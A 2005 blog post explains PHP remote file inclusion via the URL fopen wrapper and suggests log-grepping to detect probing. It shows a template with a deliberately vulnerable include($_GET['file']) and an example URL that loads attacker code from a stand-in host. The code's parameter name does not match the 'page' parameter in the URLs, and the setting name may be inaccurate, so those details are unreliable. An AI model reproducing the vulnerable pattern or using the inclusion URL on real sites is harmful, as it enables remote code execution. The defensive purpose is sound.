25 September 2005

Unexpected Security Problem with PHP URL fopen Wrapper

Posted under: at 19:10

Within PHP programming language, the URL fopen wrapper feature allows using remote URLs in place of local files in filesystem related functions such as fopen(), copy(), include() and require(). For example, the statementinclude("foo.php") includes and evaluates the file foo.php with respect to include_path setting. Using URL fopen wrapper feature, it is then possible to include a file from remote server using HTTP or FTP: include("http://example.com/foo.php").

That feature looks useful, it is now trivial to create PHP scripts which interact with remote resources. However, users unaware with this ‘(mis)feature’ very often unintentionally introduce security problems in their scripts.

It is in every web designers/programmers mind to reuse common web page components. Not doing so is a waste of time, especially when it is necessary to alter web site design, for example. So, by instinct, very frequently they create one master template file that contains overall web site design; and several other files which contains web page contents to be included from the master template file.

The master file will look like this. Let’s say it is foo.php:

<html>
<head>
    <title>foo</title>
</head>
<body>
...other header tidbits here...
<?php
include($_GET['file'])
?>
...footer here...
</body>
</html>

Then, the URL will look like http://example.com/foo.php?page=bar.php. The master file foo.php above will append header and footer to the file bar.php. So, the whole site will look the same without doing time consuming and error prone task to add the same headers and footers to every single page.

However, what they don’t realize is that the code is a HUGE security hole!

With url.fopen_wrappers set to on (and it is on by default), an irresponsible third party can craft an URL like http://example.com/foo.php?page=http://another.example.com/malicious.txt. With http://another.example.com/malicious.txt is a URL controlled by the attacker. That means the attacker will be able to execute arbitrary PHP command with the privileges of the PHP script itself!

And I’ve got a feeling the bad guys are now spidering the web for URLs with obvious filename in its parameter. Any URLs in the form of http://example.com/foo.php?page=bar.php will get exploited very soon, even if the web site is not popular.

If you are a web administrator, it is a good idea to do what the bad guys are doing. It is important that you spot questionable URLs on your site before a bad guy do. The easiest way to do this is by ‘grepping’ your log file for pattern like that:

cat access_log | awk '{ print $7 }' | egrep '\.php\?.*=.*\.(php|html|txt)' | sort | uniq

where access_log is your web server’s access log file in CLF or Extended CLF format.

The easiest way to fix the problem without reeditting every single PHP code is by disabling url.fopen_wrapers. However this could be unexpected to some PHP programmers because it is on by default.

In my opinion, this is one shortcoming of the PHP programming language. It is too easy to make simple programming errors like this.

16 Responses

Trackback: Use this URI to trackback this entry. Use your web browser's function to copy it to your blog posting.

Comment RSS: You can track conversation in this page by using this page's Comments RSS (XML)

Gravatar: You can have a picture next to each of your comments by getting a Gravatar.

Leave a Comment

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Warning: Comments carrying links to questionable sites will be removed!